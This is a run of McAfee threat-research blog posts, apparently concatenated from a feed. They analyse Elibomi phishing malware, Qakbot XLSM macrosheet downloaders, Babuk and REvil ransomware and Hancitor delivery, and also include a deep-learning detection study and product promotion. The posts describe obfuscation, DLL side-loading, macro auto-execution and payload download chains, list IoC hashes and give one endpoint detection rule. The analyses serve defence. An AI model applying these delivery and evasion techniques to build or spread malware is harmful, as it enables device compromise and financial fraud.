Android/Elibomi is just another example of the effectiveness of personalized phishing attacks to trick users into installing a malicious application even when Android itself prevents that from happening. By pretending to be an “Income Tax” app from the Indian government, Android/Elibomi has been able to gather very sensitive and private personal and financial information from affected users which could be used to perform identify and/or financial fraud. Even more worryingly, the information was not only in cybercriminals’ hands, but it was also unexpectedly exposed on the Internet which could have a greater impact on the victims. As long as social engineering attacks remain effective, we expect that cybercriminals will continue to evolve their campaigns to trick even more users with different fake apps including ones related to financial and tax services.
McAfee Mobile Security detects this threat as Android/Elibomi and alerts mobile users if it is present. For more information about McAfee Mobile Security, visit https://www.mcafeemobilesecurity.com
For those interested in a deeper dive into our research…
During our investigation, we found the main distribution method of the latest campaign in one of the stolen SMS messages exposed in one of the C2 servers. The SMS body field in the screenshot below shows the Smishing attack used to deliver the malware. Interestingly, the message includes the victim’s name in order to make the message more personal and therefore more credible. It also urges the user to click on a suspicious link with the excuse of checking an urgent update regarding the victim’s Income Tax return:
Figure 3. Exposed information includes the SMS phishing attack used to originally deliver the malware
Elibomi not only exposes stolen SMS messages, but it also captures and exposes the list of all accounts logged in the infected devices:
Figure 4. Example of account information exposed in one of the C2 servers
If the targeted user clicks on the link in the text message, a phishing page will be shown pretending to be from the Income Tax Department from the Indian government which addresses the user by its name to make the phishing attack more credible:
Figure 5. Fake e-Filing phishing page pretending to be from the Income Tax Department in India
Each targeted user has a different application. For example in the screenshot below we have the app “cisco.uemoveqlg.imobile” on the left and “komatsu.mjeqls.imobile” on the right:
Figure 6. Different malicious applications for different users
During our investigation, we found that there are several variants of Elibomi for the same iMobile fake Income tax app. For example, some iMobile apps only have the login page while in others have the option to “register” and request a fake tax refund:
Figure 7. Fake iMobile screens designed to capture personal and financial information
The sensitive financial information provided by the tricked user is also exposed on the Internet:
Figure 8. Example of exposed financial information stolen by Elibomi using a fake tax filling app
The first Elibomi campaign pretended to be a fake “IT Certificate” app was found to be distributed in November 2020. In the following figure we can see the similarities in the code between the two malware campaigns:
Figure 9. Code similarity between Elibomi campaigns
The malicious application impersonated an IT certificate management module that is purposedly used to validate the device in a non-existent verification server. Just like the most recent version of Elibomi, this fake ITCertificate app requests SMS permissions but it also requests device administrator privileges, probably to make more difficult its removal. The malicious application also simulates a “Security Scan” but in reality what it is doing in the background is stealing personal information like e-mail, phone number and SMS/MMS messages stored in the infected device:
Figure 10. Fake ITCertificate app pretending to do a security scan while it steals personal data in the background
Just like with the most recent “iMobile” campaign, this fake “ITCertificate” also exposes the stolen data in one of the C2 servers. Here’s an example of a stolen SMS message that uses the same log fields and structure as the “iMobile” campaign:
Figure 11. SMS message is stolen by the fake “ITCertificate” using the same log structure as “iMobile”
The cybercriminals behind these two pieces of malware designed a simple but interesting string obfuscation technique. All strings are decoded by calling different classes and each class has a completely different table value
Figure 12. Calling the de-obfuscation method with different parameters
Figure 13. String de-obfuscation method
Figure 14. String de-obfuscation table
The algorithm is a simple substitution cipher. For example, 35 is replaced with ‘h’ and 80 is replaced with ‘t’ to obfuscate the string.
Hash | Package name | ||
1e8fba3c530c3cd7d72e208e25fbf704ad7699c0a6728ab1b290c645995ddd56 | direct.uujgiq.imobile | ||
7f7b0555563e08e0763fe52f1790c86033dab8004aa540903782957d0116b87f |
ferrero.uabxzraglk.imobile
|
||
120a51611a02d1d8bd404bb426e07959ef79e808f1a55ce5bff33f04de1784ac |
erni.zbvbqlk.imobile
|
||
ecbd905c44b1519590df5465ea8acee9d3c155334b497fd86f6599b1c16345ef |
olayan.bxynrqlq.imobile
|
||
da900a00150fcd608a09dab8a8ccdcf33e9efc089269f9e0e6b3daadb9126231 | foundation.aznohomqlq.imobile | ||
795425dfc701463f1b55da0fa4e7c9bb714f99fecf7b7cdb6f91303e50d1efc0 | fresenius.bowqpd.immobile | ||
b41c9f27c49386e61d87e7fc429b930f5e01038d17ff3840d7a3598292c935d7 | cisco.uemoveqlg.immobile | ||
8de8c8c95fecd0b1d7b1f352cbaf839cba1c3b847997c804dfa2d5e3c0c87dfe | komatsu.mjeqls.imobile | ||
ecbd905c44b1519590df5465ea8acee9d3c155334b497fd86f6599b1c16345ef | olayan.bxynrqlq.imobile | ||
326d81ba7a715a57ba7aa2398824b420fff84cda85c0dd143462300af4e0a37a | alstom.zjeubopqf.certificate | ||
154cfd0dbb7eb2a4f4e5193849d314fa70dcc3caebfb9ab11b4ee26e98cb08f7 | alstom.zjeubopqf.certificate | ||
c59ecd344729dac99d9402609e248c80e10d39c4d4d712edef0df9ee460fbd7b | alstom.zjeubopqf.certificate | ||
16284cad1b5a36e2d2ea9f67f5c772af01b64d785f181fd31d2e2bec2d98ce98 | alstom.zjeubopqf.certificate | ||
98fc0d5f914ae47b61bc7b54986295d86b502a9264d7f74739ca452fac65a179 | alstom.zjeubopqf.certificate | ||
32724a3d2a3543cc982c7632f40f9e831b16d3f88025348d9eda0d2dfbb75dfe
|
computer.yvyjmbtlk.transferInstant |
The post Phishing Android Malware Targets Taxpayers in India appeared first on McAfee Blog.
Co-written by Catherine Huang, Ph.D. and Abhishek Karnik
Artificial Intelligence (AI) continues to evolve and has made huge progress over the last decade. AI shapes our daily lives. Deep learning is a subset of techniques in AI that extract patterns from data using neural networks. Deep learning has been applied to image segmentation, protein structure, machine translation, speech recognition and robotics. It has outperformed human champions in the game of Go. In recent years, deep learning has been applied to malware analysis. Different types of deep learning algorithms, such as convolutional neural networks (CNN), recurrent neural networks and Feed-Forward networks, have been applied to a variety of use cases in malware analysis using bytes sequence, gray-scale image, structural entropy, API call sequence, HTTP traffic and network behavior.
Most traditional machine learning malware classification and detection approaches rely on handcrafted features. These features are selected based on experts with domain knowledge. Feature engineering can be a very time-consuming process, and handcrafted features may not generalize well to novel malware. In this blog, we briefly describe how we apply CNN on raw bytes for malware detection and classification in real-world data.
The motivation for applying deep learning is to identify new patterns in raw bytes. The novelty of this work is threefold. First, there is no domain-specific feature extraction and pre-processing. Second, it is an end-to-end deep learning approach. It can also perform end-to-end classification. And it can be a feature extractor for feature augmentation. Third, the explainable AI (XAI) provides insights on the CNN decisions and help human identify interesting patterns across malware families. As shown in Figure 1, the input is only raw bytes and labels. CNN performs representation learning to automatically learn features and classify malware.
For the purposes of our experiments with malware detection, we first gathered 833,000 distinct binary samples (Dirty and Clean) across multiple families, compilers and varying “first-seen” time periods. There were large groups of samples from common families although they did utilize varying packers, obfuscators. Sanity checks were performed to discard samples that were corrupt, too large or too small, based on our experiment. From samples that met our sanity check criteria, we extracted raw bytes from these samples and utilized them for conducting multiple experiments. The data was randomly divided into a training and a test set with an 80% / 20% split. We utilized this data set to run the three experiments.
In our first experiment, raw bytes from the 833,000 samples were fed to the CNN and the performance accuracy in terms of area under receiver operating curve (ROC) was 0.9953.
One observation with the initial run was that, after raw byte extraction from the 833,000 unique samples, we did find duplicate raw byte entries. This was primarily due to malware families that utilized hash-busting as an approach to polymorphism. Therefore, in our second experiment, we deduplicated the extracted raw byte entries. This reduced the raw byte input vector count to 262,000 samples. The test area under ROC was 0.9920.
In our third experiment, we attempted multi-family malware classification. We took a subset of 130,000 samples from the original set and labeled 11 categories – the 0th were bucketed as Clean, 1-9 of which were malware families, and the 10th were bucketed as Others. Again, these 11 buckets contain samples with varying packers and compilers. We performed another 80 / 20% random split for the training set and test set. For this experiment, we achieved a test accuracy of 0.9700. The training and test time on one GPU was 26 minutes.
To understand the CNN training process, we performed a visual analysis for the CNN training. Figure 2 shows the t-Distributed Stochastic Neighbor Embedding (t-SNE) and Principal Component Analysis (PCA) for before and after CNN training. We can see that after training, CNN is able to extract useful representations to capture characteristics of different types of malware as shown in different clusters. There was a good separation for most categories, lending us to believe that the algorithm was useful as a multi-class classifier.
We then performed XAI to understand CNN’s decisions. Figure 3 shows XAI heatmaps for one sample of Fareit and one sample of Emotet. The brighter the color is the more important the bytes contributing to the gradient activation in neural networks. Thus, those bytes are important to CNN’s decisions. We were interested in understanding the bytes that weighed in heavily on the decision-making and reviewed some samples manually.
To verify if the CNN can learn new patterns, we fed a few never before seen samples to the CNN, and requested a human expert to verify the CNN’s decision on some random samples. The human analysis verified that the CNN was able to correctly identify many malware families. In some cases, it identified samples accurately before the top 15 AV vendors based on our internal tests. Figure 4 shows a subset of samples that belong to the Nabucur family that were correctly categorized by the CNN despite having no vendor detection at that point in time. It’s also interesting to note that our results showed that the CNN was able to currently categorize malware samples across families utilizing common packers into an accurate family bucket.
We ran domain analysis on the same sample complier VB files. As shown in Figure 5, CNN was able to identify two samples of a threat family before other vendors. CNN agreed with MSMP/other vendors on two samples. In this experiment, the CNN incorrectly identified one sample as Clean.
We asked a human expert to inspect an XAI heatmap and verify if those bytes in bright color are associated with the malware family classification. Figure 6 shows one sample which belongs to the Sodinokibi family. The bytes identified by the XAI (c3 8b 4d 08 03 d1 66 c1) are interesting because the byte sequence belongs to part of the Tea decryption algorithm. This indicates these bytes are associated with the malware classification, which confirms the CNN can learn and help identify useful patterns which humans or other automation may have overlooked. Although these experiments were rudimentary, they were indicative of the effectiveness of the CNN in identifying unknown patterns of interest.
In summary, the experimental results and visual explanations demonstrate that CNN can automatically learn PE raw byte representations. CNN raw byte model can perform end-to-end malware classification. CNN can be a feature extractor for feature augmentation. The CNN raw byte model has the potential to identify threat families before other vendors and identify novel threats. These initial results indicate that CNN’s can be a very useful tool to assist automation and human researcher in analysis and classification. Although we still need to conduct a broader range of experiments, it is encouraging to know that our findings can already be applied for early threat triage, identification, and categorization which can be very useful for threat prioritization.
We believe that McAfee’s ongoing AI research, such as deep learning-based approaches, leads the security industry to tackle the evolving threat landscape, and we look forward to continuing to share our findings in this space with the security community.
The post The Rise of Deep Learning for Detection and Classification of Malware appeared first on McAfee Blog.
Written by: Lakshya Mathur
Excel-based malware has been around for decades and has been in the limelight in recent years. During the second half of 2020, we saw adversaries using Excel 4.0 macros, an old technology, to deliver payloads to their victims. They were mainly using workbook streams via the XLSX file format. In these streams, adversaries were able to enter code straight into cells (that’s why they were called macro-formulas). Excel 4.0 also used API level functions like downloading a file, creation of files, invocation of other processes like PowerShell, cmd, etc.
With the evolution of technology, AV vendors started to detect these malicious Excel documents effectively and so to have more obfuscation and evasion routines attackers began to shift to the XLSM file format. In the first half of 2021, we have seen a surge of XLSM malware delivering different family payloads (as shown in below infection chart). In XLSM adversaries make use of Macrosheets to enter their malicious code directly into the cell formulas. XLSM structure is the same as XLSX, but XLSM files support VBA macros which are more advanced technology of Excel 4.0 macros. Using these macrosheets, attackers were able to access powerful windows functionalities and since this technique is new and highly obfuscated it can evade many AV detections.
Excel 4.0 and XLSM are both known to download other malware payloads like ZLoader, Trickbot, Qakbot, Ursnif, IcedID, etc.
The above figure shows the Number of samples weekly detected by the detected name “Downloader-FCEI” which specifically targets XLSM macrosheet based malware.
XLSM Structure
XLSM files are spreadsheet files that support macros. A macro is a set of instructions that performs a record of steps repeatedly. XLSM files are based upon Open XLM formats that were introduced in Microsoft Office 2007. These file types are like XLSX but in addition, they support macros.
Talking about the XLSM structure when we unzip the file, we see four basic contents of the file, these are shown below.
We will focus more on the “xl” folder contents. This folder contains all the excel file main contents like all the worksheets, media files, styles.xml file, sharedStrings.xml file, workbook.xml file, etc. All these files and folders have data related to different aspects of the excel file. But for XLSM files we will focus on one unique folder called macrosheets.
These XLSM files contain macrosheets as shown in figure-2 which are nothing but XML sheet files that can support macros. These sheets are not available in other Excel file formats. In the past few months, we have seen a huge surge in XLSM file-type malware in which attackers store malicious strings hidden within these macrosheets. We will see more details about such malware in this blog.
To explain further how attackers uses XLSM files we have taken a Qakbot sample with SHA 91a1ba70132139c99efd73ca21c4721927a213bcd529c87e908a9fdd71570f1e.
The infection chain for both Excel 4.0 Qakbot and XLSM Qakbot is similar. They both downloads dll and execute it using rundll32.exe with DllResgisterServer as the export function.
On opening the XLSM file there is an image that prompts the user to enable the content. To look legitimate and clean malicious actors use a very official-looking template as shown below.
On digging deeper, we see its internal workbook.xml file.
Now as we can see in the workbook.xml file (Figure-5), there is a total of 6 sheets and their state is hidden. Also, two cells have a predefined name and one of them is Sheet2323!$A$1 defined as “_xlnm.Auto_Open” which is similar to Sub Auto_Open() as we generally see in macro files. It automatically runs the macros when the user clicks on Enable Content.
As we saw in Figure-3 on opening the file, we only see the enable content image. Since the state of sheets was hidden, we can right-click on the main sheet tab and we will see unhide option there, then we can select each sheet to unhide it. On hiding the sheet and change the font color to red we saw some random strings as seen in figure 6.
These hidden sheets contain malicious strings in an obfuscated manner. So, on analyzing more we observed that sheets inside the macrosheets folder contain these malicious strings.
Now as we can in figure-7 different tags are used in this XML sheet file. All the malicious strings are present in two tags <f> and <v> tags inside <sheetdata> tags. Now let’s look more in detail about these tags.
<v> (Cell Value) tags are used to store values inside the cell. <f> (Cell Formula) tags are used to store formulas inside the cell. Now in the above sheet <v> tags contain the cached formula value based on the last time formula was calculated. Formula cells contain formulas like “GOTO(Sheet2!H13)”, now as we can see here attackers can store different formulas while referencing cells from different sheets. These operations are done to produce more and more obfuscated sheets and evade AV signatures.
When the user clicks on the enable content button the execution starts from the Auto_Open cell, after which each sheet formula will start to execute one by one. The final deobfuscated string is shown below.
Here the URLDownloadToFIleA API is used to download the payload and the string “JJCCBB” is used to specify data types to call the API. There are multiple URI’s and from one of them, the DLL payload gets downloaded and saved as ..\\lertio.cersw. This DLL payload is then executed using rundll32. All these malicious activities get carried out using various excel based formulas like REGISTER, EXEC, etc.
McAfee’s Endpoint products detect this variant of malware as below:
The main malicious document with SHA256 (91a1ba70132139c99efd73ca21c4721927a213bcd529c87e908a9fdd71570f1e) is detected as “Downloader-FCEI” with current DAT files.
Additionally, with the help of McAfee’s Expert rule feature, customers can add a custom behavior rule, specific to this infection pattern.
Rule {
Process {
Include OBJECT_NAME { -v “EXCEL.exe” }
}
Target {
Match PROCESS {
Include OBJECT_NAME { -v “rundll32.exe” }
Include PROCESS_CMD_LINE { -v “* ..\\*.*,DllRegisterServer” }
Include -access “CREATE”
}
}
}
McAfee advises all users to avoid opening any email attachments or clicking any links present in the mail without verifying the identity of the sender. Always disable the Macro execution for Office files. We advise everyone to read our blog on these types of malicious XLSM files and their obfuscation techniques to understand more about the threat.
Different techniques & tactics are used by the malware to propagate, and we mapped these with the MITRE ATT&CK platform.
XLSM malware has been seen delivering many malware families. Many major families like Trickbot, Gozi, IcedID, Qakbot are using these XLSM macrosheets in high quantity to deliver their payloads. These attacks are still evolving and keep on using various obfuscated strings to exploit various windows utilities like rundll32, regsvr32, PowerShell, etc.
Due to security concerns, macros are disabled by default in Microsoft Office applications. We suggest it is only safe to enable them when the document received is from a trusted source and macros serve an expected purpose.
The post XLSM Malware with MacroSheets appeared first on McAfee Blogs.
Co-written with Northwave’s Noël Keijzer.
For a long time, ransomware gangs were mostly focused on Microsoft Windows operating systems. Yes, we observed the occasional dedicated Unix or Linux based ransomware, but cross-platform ransomware was not happening yet. However, cybercriminals never sleep and in recent months we noticed that several ransomware gangs were experimenting with writing their binaries in the cross-platform language Golang (Go).
Our worst fears were confirmed when Babuk announced on an underground forum that it was developing a cross-platform binary aimed at Linux/UNIX and ESXi or VMware systems. Many core backend systems in companies are running on these *nix operating systems or, in the case of virtualization, think about the ESXi hosting several servers or the virtual desktop environment.
We touched upon this briefly in our previous blog, together with the many coding mistakes the Babuk team is making.
Even though Babuk is relatively new to the scene, its affiliates have been aggressively infecting high-profile victims, despite numerous problems with the binary which led to a situation in which files could not be retrieved, even if payment was made.
Ultimately, the difficulties faced by the Babuk developers in creating ESXi ransomware may have led to a change in business model, from encryption to data theft and extortion.
Indeed, the design and coding of the decryption tool are poorly developed, meaning if companies decide to pay the ransom, the decoding process for encrypted files can be really slow and there is no guarantee that all files will be recoverable.
McAfee’s EPP solution covers Babuk ransomware with an array of prevention and detection techniques.
McAfee ENS ATP provides behavioral content focusing on proactively detecting the threat while also delivering known IoCs for both online and offline detections. For DAT based detections, the family will be reported as Ransom-Babuk!. ENS ATP adds 2 additional layers of protection thanks to JTI rules that provide attack surface reduction for generic ransomware behaviors and RealProtect (static and dynamic) with ML models targeting ransomware threats.
Updates on indicators are pushed through GTI, and customers of Insights will find a threat-profile on this ransomware family that is updated when new and relevant information becomes available.
Initially, in our research the entry vector and the complete tactics, techniques and procedures (TTPs) used by the criminals behind Babuk remained unclear.
However, when its affiliate recruitment advertisement came online, and given the specific underground meeting place where Babuk posts, defenders can expect similar TTPs with Babuk as with other Ransomware-as-a-Service families.
In its recruitment posting Babuk specifically asks for individuals with pentest skills, so defenders should be on the lookout for traces and behaviors that correlate to open source penetration testing tools like winPEAS, Bloodhound and SharpHound, or hacking frameworks such as CobaltStrike, Metasploit, Empire or Covenant. Also be on the lookout for abnormal behavior of non-malicious tools that have a dual use, such as those that can be used for things like enumeration and execution, (e.g., ADfind, PSExec, PowerShell, etc.) We advise everyone to read our blogs on evidence indicators for a targeted ransomware attack (Part1, Part2).
Looking at other similar Ransomware-as-a-Service families we have seen that certain entry vectors are quite common amongst ransomware criminals:
When it comes to the actual ransomware binary, we strongly advise updating and upgrading your endpoint protection, as well as enabling options like tamper protection and rollback. Please read our blog on how to best configure ENS 10.7 to protect against ransomware for more details.
Learn more about how Babuk is transitioning away from an encryption/ransom model to one focused on pure data theft and extortion in our detailed technical analysis.
The post Babuk: Biting off More than they Could Chew by Aiming to Encrypt VM and *nix Systems? appeared first on McAfee Blogs.
In 2021 ransomware attacks have been dominant among the bigger cyber security stories. Hence, I was not surprised to see that McAfee’s June 2021 Threat report is primarily focused on this topic.
This report provides a large range of statistics using the McAfee data lake behind MVISION Insights, including the Top MITRE ATT&CK Techniques. In this report I highlight the following MITRE techniques:
I also want to highlight one obvious technique which remains common across all ransomware attacks at the end of the attack lifecycle:
Traditional defences based on anti-malware signatures and web protection against known malicious domains and IP addresses can be insufficient to protect against these techniques. Therefore, for the rest of this article, I want to cover a few recent McAfee innovations which can make a big difference in the fight against ransomware.
The following three ransomware techniques are linked to web access:
Moreover, most ransomware attacks require some form of access to a command-and-control server to be fully operational.
McAfee Remote Browser Isolation (RBI) ensures no malicious web content ever even reaches enterprise endpoints’ web browsers by isolating all browsing activity to unknown and risky websites into a remote virtual environment. With spear phishing links, RBI works best when running the mail client in the web browser. The user systems cannot be compromised if web code or files cannot run on them, making RBI the most powerful form of web threat protection available. RBI is included in most McAfee United Cloud Edge (UCE) licenses at no additional cost.
Figure 1. Concept of Remote Browser Isolation
McAfee Client Proxy (MCP) controls all web traffic, including ransomware web traffic initiated without a web browser by tools like MEGAsync and Rclone. MCP is part of McAfee United Cloud Edge (UCE).
The following ransomware techniques are linked to fileless attacks:
Many ransomware attacks also use PowerShell.
Figure 2. Example of an attack kill chain with fileless
McAfee provides a large range of technologies which protect against fileless attack methods, including McAfee ENS (Endpoint Security) Exploit prevention and McAfee ENS 10.7 Adaptive Threat Protection (ATP). Here are few examples of Exploit Prevention and ATP rules:
Regarding the use on Mimikatz in the example above, the new McAfee ENS 10.7 ATP Credential Theft Protection is designed to cease attacks against Windows LSASS so that you do not need to rely on the detection of Mimikatz.
Figure 3. Example of Exploit Prevention rules related to Mimikatz
ENS 10.7 ATP is now included in most McAfee Endpoint Security licenses at no additional cost.
To prevent initial access, you also need to reduce the risks linked to the following technique:
For example, RDP (Windows Remote Desktop Protocol) is a common initial access used by ransomware attacks. You may have a policy that already prohibits or restricts RDP but how do you know it is enforced on every endpoint?
With MVISION EDR (Endpoint Detection and Response) you can perform a real time search across all managed systems to see what is happening right now.
Figure 4. MVISION EDR Real-time Search to verify if RDP is enabled or disabled on a system
Figure 5. MVISION EDR Real-time Search to identify systems with active connections on RDP
MVISION EDR maintains a history of network connections inbound and outbound from the client. Performing an historical search for network traffic could identify systems that actively communicated on port 3389 to unauthorized addresses, potentially detecting attempts at exploitation.
MVISION EDR also enables proactive monitoring by a security analyst. The Monitoring Dashboard helps the analyst in the SOC quickly triage suspicious behavior.
For more EDR use cases related to ransomware see this blog article.
With MVISION Insights you do not need to wait for the latest McAfee Threat Report to be informed on the latest ransomware campaigns and threat profiles. With MVISION Insights you can easily meet the following use cases:
These use cases are covered in the webinar How to fight Ransomware with the latest McAfee innovations.
Regarding the following technique from the McAfee June 2021 Threat Report:
Credentials from Web Browsers (Credential Access)
MVISION Insights can display the detections in your environment as well as prevalence statistics.
Figure 6. Prevalence statistics from MVISION Insights on the LAZAGNE tool
MVISION Insights is included in several Endpoint Security licenses.
Now we are left with the last technique in the attack lifecycle:
McAfee ENS 10.7 Adaptive Threat Protection (ATP) provides dynamic application containment of suspicious processes and enhanced remediation with an automatic rollback of the ransomware encryption.
Figure 7. Configuration of Rollback remediation in ENS 10.7
You can see how files impacted by ransomware can be restored through Enhanced Remediation in this video. For more best practices on tuning Dynamic Application Containment rules, check the knowledge base article here.
Last year McAfee released this blog article covering additional capabilities from McAfee Endpoint Security (ENS), Endpoint Detection and Response (EDR) and the Management Console (ePO) against ransomware including:
To increase your protection against ransomware you might already be entitled to:
If you are, you should start using them as soon as possible, and if you are not, contact us.
The post Fighting new Ransomware Techniques with McAfee’s Latest Innovations appeared first on McAfee Blogs.
The overarching threat facing cyber organizations today is a highly skilled asymmetric enemy, well-funded and resolute in his task and purpose. You never can exactly tell how they will come at you, but come they will. It’s no different than fighting a kinetic foe in that, before you fight, you must choose your ground and study your enemy’s tendencies.
A lot of focus has been placed on tools and updating technology, but often we are pushed back on our heels and find ourselves fighting a defensive action.
But what if we change? How do we do that?
The first step is to study the battlefield, understand what you’re trying to protect and lay down your protection strategy. Pretty basic right??
Your technology strategy is very important, but you must embrace and create a thorough Cyber Threat Intelligence (CTI) doctrine which must take on many forms.
First, there is data, and lots of it. However, the data must take specific forms to research and detect nascent elements where the adversary is attempting to catch you napping or give you the perception that the activity you see is normal.
As you pool this data, it must be segmented into layers and literally mapped to geographic locations across the globe. The data is classified distinctly as malicious and reputations are applied. This is a vital step in that it enables analytical programs, along with human intelligence analysts to apply the data within intelligence reports which themselves can take on many forms.
Once the data takes an analytic form, then it allows organizations to forensically piece together a picture of an attack. This process is painstakingly tedious but necessary to understand your enemy and his tendencies. Tools are useful, but it’s always the human in the loop that will recognize the tactical and strategic implications of an adversary’s moves. Once you see the picture, it becomes real, and then you’re able to prepare your enterprise for the conflict that follows.
Your early warning and sensing strategy must incorporate this philosophy. You must sense, collect, exploit, process, produce and utilize each intelligence product that renders useful information. It’s this process that will enable any organization to move decisively to and stay “left of boom”.
The McAfee Advanced Programs Group (APG) was created eight years ago to support intelligence organizations that embrace and maintain a strong CTI stance. Its philosophy is to blend people, processes, data and a strong intelligence heritage to enable our customers to understand the cyber battlefield to proactively protect, but “maneuver” when necessary to avoid an attack.
APG applies three key disciplines or mission areas to provide this support.
First, we developed an internal tool called the Advanced Threat Landscape Analysis System (ATLAS). This enables our organization to apply our malicious threat detections to a geospatial map display to see where we’re seeing malicious data. ATLAS draws from our global network of billions of threat sensors to see trillions of detections each day, but enables our analysts to concentrate on the most malicious activity. Then we’re better able to research and report accurate threat landscape information.
The second leg in the stool is our analytical staff, the true cyber ninjas that apply decades of experience supporting HUMINT operations across the globe and a well-established intelligence-based targeting philosophy to the cyber environment. The result is a true understanding of the cyber battlefield enabling the leadership to make solid “intelligence-based” decisions.
Finally, the third leg is our ability to develop custom solutions and interfaces to adapt in a very custom way our ability to see and study data. We have the ability to leverage 2.8 billion malicious detections, along with 20 other distinct malicious feeds, to correlate many different views, just not the McAfee view. We interpret agnostically.
These three legs provide APG a powerful CTI advantage allowing our customers to adapt and respond to events by producing threat intelligence dynamically. When using this service it allows the customer to be fully situationally aware in a moments notice (visual command and control). Access to the data alone is an immense asset to any organization. This allows each customer not only to know what their telemetry is, but also provides real time insights into the entire world ecosystem. Finally, the human analysis alone is immensely valuable. It allows for the organizations to read and see/understand what it all means (the who, what, where and why). “The so what!!”
The post An Overall Philosophy on the Use of Critical Threat Intelligence appeared first on McAfee Blogs.
This blog was written byVaradharajan Krishnasamy, Karthickkumar, Sakshi Jaiswal
Ransomware attacks are one of the most common cyber-attacks among organizations; due to an increase in Ransomware-as-a-service (RaaS) on the black market. RaaS provides readily available ransomware to cyber criminals and is an effective way for attackers to deploy a variety of ransomware in a short period of time.
Usually, RaaS model developers sell or rent their sophisticated ransomware framework on the black market. After purchasing the license from the ransomware developer, attackers spread the ransomware to other users, infect them, encrypt files, and demand a huge ransom payment in Bitcoin. Also, there are discounts available on the black market for ransomware frameworks in which the ransom money paid is shared between developers and the buyer for every successful extortion of ransom from the victims. These frameworks reduce the time and effort of creating a new ransomware from scratch using latest and advanced programming languages.
REvil is one of the most famous ransomware-as-a-service (RaaS) providers. The group released the Sodinokibi ransomware in 2019, and McAfee has since observed REvil using a DLL side loading technique to execute ransomware code. The actual ransomware is a dropper that contains two embedded PE files in the resource section. After successful execution, it drops two additional files named MsMpEng.exe and MpSvc.dll in the temp folder. The file MsMpEng.exe is a Microsoft digitally signed file having a timestamp of March 2014 (Figure 1).
Figure-1: Image of Microsoft Digitally signed File
The malware uses DLL side loading to execute the ransomware code. This technique allows the attacker to execute malicious DLLs that spoof legitimate ones. This technique has been used in many APTs to avoid detection. In this attack, MsMpEng.exe loads the functions of MpSvc.dll during the time of execution. However, the attacker has replaced the clean MpSvc.dll with the ransomware binary of the same name. The malicious DLL file has an export function named ServiceCrtMain, which is further called and executed by the Microsoft Defender file. This is a clever technique used by the attacker to execute malicious file using the Microsoft digitally signed binary.
Figure-2: Calling Export function
The ransomware uses the RC4 algorithm to decrypt the config file which has all the information that supports the encryption process.
Figure-3: REvil Config File
Then it performs a UI language check using GetSystemDefaultUILanguage/GetUserDefaultUILanguage functions and compares it with a hardcoded list which contains the language ID of several countries as shown in below image.
Figure-4: Language Check
Countries excluded from this ransomware attack are mentioned below:
GetUserDefaultUILanguage | Country name |
0x419 | Russian |
0x422 | Ukranian |
0x423 | Belarusian |
0x428 | Tajik (Cyrilic from Tajikistan) |
0x42B | Armenian |
0x42C | Azerbaijani (Latin from Azerbaijan) |
0x437 | Georgian |
0x43F | Kazakh from Kazakhastan |
0x440 | Kyrgyzstan |
0x442 | Turkmenistan |
0x443 | Latin from Uzbekistan |
0x444 | Tatar from Russia Federation |
0x818 | Romanian from Moldova |
0x819 | Russian from Moldova |
0x82C | Cyrilic from Azerbaijan |
0x843 | Cyrilic from Uzbekistan |
0x45A | Syriac |
0x281A | Cyrilic from Serbia |
Additionally, the ransomware checks the users keyboardlayout and it skips the ransomware infection in the machine’s which are present in the country list above.
Figure-5: Keyboardlayout check
Ransomware creates a Global mutex in the infected machine to mark its presence.
Figure-6: Global Mutex
After creating the mutex, the ransomware deletes the files in the recycle bin using the SHEmptyRecycleBinW function to make sure that no files are restored post encryption.
Figure-7: Empty Recycle Bin
Then it enumerates all the active services with the help of the EnumServicesStatusExW function and deletes services if the service name matches the list present in the config file. The image below shows the list of services checked by the ransomware.
Figure-8: Service List check
It calls the CreateToolhelp32Snapshot, Process32FirstW and Process32NextW functions to enumerate running processes and terminates those matching the list present in the config file. The following processes will be terminated.
Then, it encrypts files using the Salsa20 algorithm and uses multithreading for fast encryption of the files. Later, background wallpaper will be set with a ransom message.
Figure-9: Desktop Wallpaper
Finally, the ransomware displays ransom notes in the victim’s machine. Below is an image of readme.txt which is dropped in the infected machine.
Figure-10: Ransom Note
Type | Value | Detection Name | Detection Package Version (V3) |
Loader | 5a97a50e45e64db41049fd88a75f2dd2 | REvil.f | 4493 |
Dropped DLL | 78066a1c4e075941272a86d4a8e49471 | REvil.e | 4493 |
Expert rules allow McAfee customers to extend their coverage. This rule covers this REvil ransomware behaviour.
Technique ID | Tactic | Technique Details |
T1059.003 | Execution | Command and Scripting Interpreter |
T1574.002 | DLL Side-Loading | Hijack Execution Flow |
T1486 | Impact | Data Encrypted for Impact |
T1036.005 | Defense Evasion | Masquerading |
T1057 | Discovery | Process Discovery |
T1082 | Discovery | System Information Discovery |
McAfee observed that the REvil group has utilized oracle web logic vulnerability (CVE-2019-2725) to spread the ransomware last year and used kaseya’s VSA application recently for their ransomware execution, with the help of DLL sideloading. REvil uses many vulnerability applications for ransomware infections, however the encryption technique remains the same. McAfee recommends making periodic backups of files and keeping them isolated off the network and having an always updated antivirus in place.
The post REvil Ransomware Uses DLL Sideloading appeared first on McAfee Blogs.
This blog was written by Vallabh Chole & Oliver Devane
Over the years, the cybersecurity industry has seen many threats get taken down, such as the Emotet takedown in January 2021. It doesn’t usually take long for another threat to attempt to fill the gap left by the takedown. Hancitor is one such threat.
Like Emotet, Hancitor can send Malspams to spread itself and infect as many users as possible. Hancitor’s main purpose is to distribute other malware such as FickerStealer, Pony, CobaltStrike, Cuba Ransomware and Zeppelin Ransomware. The dropped Cobalt Strike beacons can then be used to move laterally around the infected environment and also execute other malware such as ransomware.
This blog will focus on a new technique used by Hancitor created to prevent crawlers from accessing malicious documents used to download and execute the Hancitor payload.
The infection flow of Hancitor is shown below:
A victim will receive an email with a fake DocuSign template to entice them to click a link. This link leads him to feedproxy.google.com, a service that works similar to an RSS Feed and enables site owners to publish site updates to its users.
When accessing the link, the victim is redirected to the malicious site. The site will check the User-Agent of the browser and if it is a non-Windows User-Agent the victim will be redirected to google.com.
If the victim is on a windows machine, the malicious site will create a cookie using JavaScript and then reload the site.
The code to create the cookie is shown below:
The above code will write the Timezone to value ‘n’ and the time offset to UTC in value ‘d’ and set it into cookie header for an HTTP GET Request.
For example, if this code is executed on a machine with timezone set as BST the values would be:
d = 60
n = “Europe/London”
These values may be used to prevent further malicious activity or deploy a different payload depending on geo location.
Upon reloading, the site will check if the cookie is present and if it is, it will present them with the malicious document.
A WireShark capture of the malicious document which includes the cookie values is shown below:
The document will prompt them to enable macros and, when enabled, it will download the Hancitor DLL and then load it with Rundll32.
